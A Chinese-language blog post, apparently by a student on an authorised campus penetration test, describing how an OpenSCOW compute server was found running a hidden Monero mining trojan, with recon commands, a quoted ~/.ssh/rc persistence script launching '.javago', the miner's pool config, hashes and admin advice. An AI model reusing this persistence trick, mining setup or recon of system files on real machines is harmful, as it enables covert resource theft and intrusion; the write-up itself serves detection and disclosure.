OpenSCOW算力平台服务器被植入门罗币挖矿木马
本人在校园内网进行测试的时候,同段网址横向移动到了一台服务器,打算进行一下渗透测试,却意外发现了一个指向俄罗斯的挖矿木马,推测其他高校的服务器可能也存在类似的情况,各位可以参考参考,测试的过程也是蛮简单的,但是这个程序比较隐秘。(涉及隐私的部分已打码,渗透测试有学校网信中心授权,请勿私自测试)。
复现步骤
步骤1:确认当前登录用户身份

这里我先使用xxxx/xxxx账户登陆该服务器(要问我是怎么知道的?问就是硬踹开的OvO) 发现该服务器做了严格的ACL,每个账户只能访问每个账户的资源,xxxx账户的权限还是比 较小的,这里上面有shell就好办了,可以试一下很多提权的测试。
接着输入
whoami id
输出:当前以低权限用户 xxxx 登录(uid=66010, gid=66010)
步骤2:查看系统信息
输入
uname -a cat /etc/os-release
输出:Ubuntu 22.04.5 LTS,内核 5.15.0-177-generic,主机名 r6500g6
步骤3:查看系统用户列表
输入
cat /etc/passwd
读取系统用户数据库文件,列出所有用户账户 发现可登录用户 xxxx、xxxxxxxx、xxxx 识别可能的横向移动目标用户
步骤4:查看可访问的用户目录
输入
ls -la /mnt/data/home/
列出用户家目录,显示权限和所有者
输出:发现 xxxxx、xxx、xxx、xxxx 等多个用户目录,确认多用户环境,服务器被长期使用

步骤5:确认SSH客户端可用
输入
which ssh ssh –V
输出:OpenSSH 8.9p1 确认可进行SSH横向移动测试
步骤6:检查当前用户SSH配置
输入
ls -la ~/.ssh/ echo ~/.ssh/*
输出:发现 authorized_keys 和 rc 两个文件 authorized_keys 说明有其他用户可免密登录本账户;rc 是SSH登录自动执行脚本
步骤7:尝试SSH横向移动
输入
ssh xxxx@localhost
ssh xxxx@localhost
ssh xxxx@localhost
ssh xxxx@localhost
通过SSH尝试登录其他用户账户,但均要输入对应密码,无法免密登陆,即无法横向登陆
步骤8:查看SSH启动脚本内容
输入
cat ~/.ssh/rc
输出
#!/bin/sh if ! pgrep -f javago >/dev/null 2>&1; then if [ -x "$HOME/.config/.javago" ]; then nohup "$HOME/.config/.javago" >/dev/null 2>&1 & else fi fi for bin in /dev/shm/.*/javago ...; do ... done 读取SSH 登录时自动执行的 rc 脚本,该脚本在每次SSH登录时自动执行,遍历多个临时 目录寻找可执行文件,是典型的恶意软件持久化机制,到这里这个脚本吸引了我的注意力, 因为一般 ssh 服务是不会这么高强度的去遍历服务器的,这里持续高 IO+find 遍历目录, 基本断定恶意扫描脚本
步骤9:确认恶意进程正在运行
输入
pgrep -f javago
输出:1227847 确认 javago 进程正在运行
步骤10:查看进程详细信息
输入
ps -p 1227847 -o pid,ppid,cmd,%mem,%cpu
中间有两段PID输入的格式错了,所以多出来的两段的ps –p是废话
输出: PID:1227847 PPID:1(父进程为init) CMD:/mnt/data/home/test/.config/.javago %MEM:0.0 %CPU:3.4 父进程为1,说明是后台守护进程,原始启动进程已退出 占用CPU 3.4%(在192核服务器上约等于6-7个核心) 进程名带路径 /mnt/data/home/test/.config/.javago
步骤11:查看进程详细状态
输入
cat /proc/1227847/status | head -20
输出:
Name:.javago(以 . 开头隐藏)
State:S (sleeping)
PPid:1
VmSize:1371600 kB(约 1.34GB)
进程名以 . 开头,是Linux隐藏文件命名规则,典型伪装手法 内存占用约1.3GB,符合计算密集型程序特征
步骤12:查找恶意文件位置
输入
ls -la ~/.config/.javago ~/.javago 2>/dev/null 列出恶意文件详细信息
输出: ~/.config/.javago:7.8MB,修改时间 May 1 09:41 ~/.javago:7.8MB,修改时间 Jun 3 09:21 主程序已存在至少33天 存在备份文件,且于当天被更新
步骤13:确认文件类型
输入
file ~/.config/.javago 识别文件真实类型
输出:ELF 64-bit LSB executable, statically linked, Go BuildID=... 64 位可执行文件 静态编译的Go语言程序(不需要外部库,便于移植) 包含调试信息(未剥离)
步骤14:提取文件哈希值
输入
md5sum ~/.config/.javago sha256sum ~/.config/.javago 计算文件的MD5和SHA256数字指纹
输出:
MD5:44f232a4828a1c562e354e2f82d004b0
SHA256:fb741df7706f4b3f0e5808791b2fd71e0a13ad5d5a7c563a7b05cdb2462162b3
提供恶意文件唯一标识,可用于威胁情报匹配与溯源
步骤15:查看隐藏目录内容
输入
ls -la /mnt/data/home/test/.thumbnails-161053/ 列出隐藏目录下的所有文件
输出:
.marker(标记文件)
.pid(进程ID记录)
.report_system(报告系统程序,8.3MB)
config.json(配置文件,2233 字节)
该目录包含完整的挖矿程序运行环境
步骤16:读取挖矿配置文件
输入
cat /mnt/data/home/test/.thumbnails-161053/config.json 显示配置文件完整内容
输出(关键字段): 字段 值 含义 pools[0].url pools[0].algo auto.zerodaypool.ru:80 rx/0 矿池地址(俄罗斯域名) RandomX 算法(Monero门罗币) pools[0].user cpu.enabled rts true cpu.max-threads-hint background donate-level false 0 钱包/矿工标识 CPU 挖矿已启用 100 最大线程数100 后台运行模式 捐赠级别(已关闭) zerodaypool.ru 是已知的俄罗斯矿池域名,这是证明程序为挖矿木马的直接证据 rx/0 算法用于挖掘Monero(门罗币),是一种匿名加密货币 rts 是攻击者的矿池账户标识,所有挖矿收益归入该账户
步骤17:确认网络连接状态
输入
netstat -antp 2>/dev/null | grep 1227847 查看该进程的网络连接
输出:(空,无活跃外部连接) 进程当前无活跃外部网络连接,进程可能使用短连接或定时通信方式
该木马具备一定的反侦察能 力。其 53个子线程均处于 Ssl(休眠)状态,导致通过 ps 命令逐个统计线程CPU占用时, 总和仅为 0.1%,远低于主进程实际消耗的 3.4%。这很可能是通过 SCHED_BATCH 调度策略 和大页内存(huge-pages: true)实现的,表明攻击者有意规避管理员通过常规命令进行的 排查

后经过网信中心老师排查确实存在,该木马可能也存在其他校园的服务器中,持续消耗学校算力资源,相关运维人员看到的话,建议重点排查.javago程序是否存在,或是通过ssh方式自启动的程序是否存在。

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐
所有评论(0)